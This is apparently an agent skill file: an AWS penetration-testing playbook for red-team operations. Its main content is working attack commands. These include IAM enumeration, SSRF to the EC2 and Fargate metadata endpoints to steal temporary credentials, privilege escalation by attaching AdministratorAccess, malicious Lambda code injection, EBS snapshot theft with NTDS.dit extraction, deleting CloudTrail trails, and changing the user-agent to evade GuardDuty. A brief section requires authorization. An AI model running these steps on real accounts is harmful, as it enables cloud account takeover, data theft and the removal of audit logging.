AWS Penetration Testing Purpose Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations. Inputs/Prerequisites AWS CLI configured with credentials Valid AWS credentials (even low-privilege) Understanding of AWS IAM model Python 3, boto3 library Tools: Pacu, Prowler, ScoutSuite, SkyArk Outputs/Deliverables IAM privilege escalation paths Extracted credentials and secrets Compromised EC2/Lambda/S3 resources Persistence mechanisms Security audit findings Essential Tools Tool Purpose Installation Pacu AWS exploitation framework git clone https://github.com/RhinoSecurityLabs/pacu SkyArk Shadow Admin discovery Import-Module .\SkyArk.ps1 Prowler Security auditing pip install prowler ScoutSuite Multi-cloud auditing pip install scoutsuite enumerate-iam Permission enumeration git clone https://github.com/andresriancho/enumerate-iam Principal Mapper IAM analysis pip install principalmapper Core Workflow Step 1: Initial Enumeration Identify the compromised identity and permissions:
Check current identity
aws sts get-caller-identity
Configure profile
aws configure --profile compromised
List access keys
aws iam list-access-keys
Enumerate permissions
./enumerate-iam.py --access-key AKIA .. . --secret-key StF0q .. . Step 2: IAM Enumeration
List all users
aws iam list-users
List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
List inline policies
aws iam list-user-policies --user-name TARGET_USER
Get policy details
aws iam get-policy --policy-arn POLICY_ARN aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
List roles
aws iam list-roles aws iam list-attached-role-policies --role-name ROLE_NAME Step 3: Metadata SSRF (EC2) Exploit SSRF to access metadata endpoint (IMDSv1):
Access metadata endpoint
http://169.254.169.254/latest/meta-data/
Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
Response contains:
{ "AccessKeyId" : "ASIA..." , "SecretAccessKey" : "..." , "Token" : "..." , "Expiration" : "2019-08-01T05:20:30Z" } For IMDSv2 (token required):
Get token first
TOKEN
$( curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token" )
Use token for requests
curl -H "X-aws-ec2-metadata-token: $TOKEN " \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/" Fargate Container Credentials:
Read environment for credential path
/proc/self/environ
Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL- PATH Privilege Escalation Techniques Shadow Admin Permissions These permissions are equivalent to administrator: Permission Exploitation iam:CreateAccessKey Create keys for admin user iam:CreateLoginProfile Set password for any user iam:AttachUserPolicy Attach admin policy to self iam:PutUserPolicy Add inline admin policy iam:AddUserToGroup Add self to admin group iam:PassRole + ec2:RunInstances Launch EC2 with admin role lambda:UpdateFunctionCode Inject code into Lambda Create Access Key for Another User aws iam create-access-key --user-name target_user Attach Admin Policy aws iam attach-user-policy --user-name my_username \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess Add Inline Admin Policy aws iam put-user-policy --user-name my_username \ --policy-name admin_policy \ --policy-document file://admin-policy.json Lambda Privilege Escalation
code.py - Inject into Lambda function
import boto3 def lambda_handler ( event , context ) : client = boto3 . client ( 'iam' ) response = client . attach_user_policy ( UserName = 'my_username' , PolicyArn = "arn:aws:iam::aws:policy/AdministratorAccess" ) return response
Update Lambda code
aws lambda update-function-code --function-name target_function \ --zip-file fileb://malicious.zip S3 Bucket Exploitation Bucket Discovery
Using bucket_finder
./bucket_finder.rb wordlist.txt ./bucket_finder.rb --download --region us-east-1 wordlist.txt
Common bucket URL patterns
https:// { bucket-name } .s3.amazonaws.com https://s3.amazonaws.com/ { bucket-name } Bucket Enumeration
List buckets (with creds)
aws s3 ls
List bucket contents
aws s3 ls s3://bucket-name --recursive
Download all files
aws s3 sync s3://bucket-name ./local-folder Public Bucket Search https://buckets.grayhatwarfare.com/ Lambda Exploitation
List Lambda functions
aws lambda list-functions
Get function code
aws lambda get-function --function-name FUNCTION_NAME
Download URL provided in response
Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt SSM Command Execution Systems Manager allows command execution on EC2 instances:
List managed instances
aws ssm describe-instance-information
Execute command
aws ssm send-command --instance-ids "i-0123456789" \ --document-name "AWS-RunShellScript" \ --parameters commands = "whoami"
Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \ --details --query "CommandInvocations[].CommandPlugins[].Output" EC2 Exploitation Mount EBS Volume
Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
Mount and access
sudo mkdir /mnt/stolen sudo mount /dev/xvdf1 /mnt/stolen Shadow Copy Attack (Windows DC)
CloudCopy technique
1. Create snapshot of DC volume
2. Share snapshot with attacker account
3. Mount in attacker instance
4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local Console Access from API Keys Convert CLI credentials to console access: git clone https://github.com/NetSPI/aws_consoler aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
Generates signin URL for console access
Covering Tracks Disable CloudTrail
Delete trail
aws cloudtrail delete-trail --name trail_name
Disable global events
aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events
Disable specific region
aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events --no-is-multi-region-trail Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent. Quick Reference Task Command Get identity aws sts get-caller-identity List users aws iam list-users List roles aws iam list-roles List buckets aws s3 ls List EC2 aws ec2 describe-instances List Lambda aws lambda list-functions Get metadata curl http://169.254.169.254/latest/meta-data/ Constraints Must: Obtain written authorization before testing Document all actions for audit trail Test in scope resources only Must Not: Modify production data without approval Leave persistent backdoors without documentation Disable security controls permanently Should: Check for IMDSv2 before attempting metadata attacks Enumerate thoroughly before exploitation Clean up test resources after engagement Examples Example 1: SSRF to Admin
1. Find SSRF vulnerability in web app
https://app.com/proxy?url
http://169.254.169.254/latest/meta-data/iam/security-credentials/
2. Get role name from response
3. Extract credentials
https://app.com/proxy?url
http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID = ASIA .. . export AWS_SECRET_ACCESS_KEY = .. . export AWS_SESSION_TOKEN = .. .
5. Verify access
aws sts get-caller-identity Troubleshooting Issue Solution Access Denied on all commands Enumerate permissions with enumerate-iam Metadata endpoint blocked Check for IMDSv2, try container metadata GuardDuty alerts Use Pacu with custom user-agent Expired credentials Re-fetch from metadata (temp creds rotate) CloudTrail logging actions Consider disable or log obfuscation Additional Resources For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md . When to Use This skill is applicable to execute the workflow or actions described in the overview.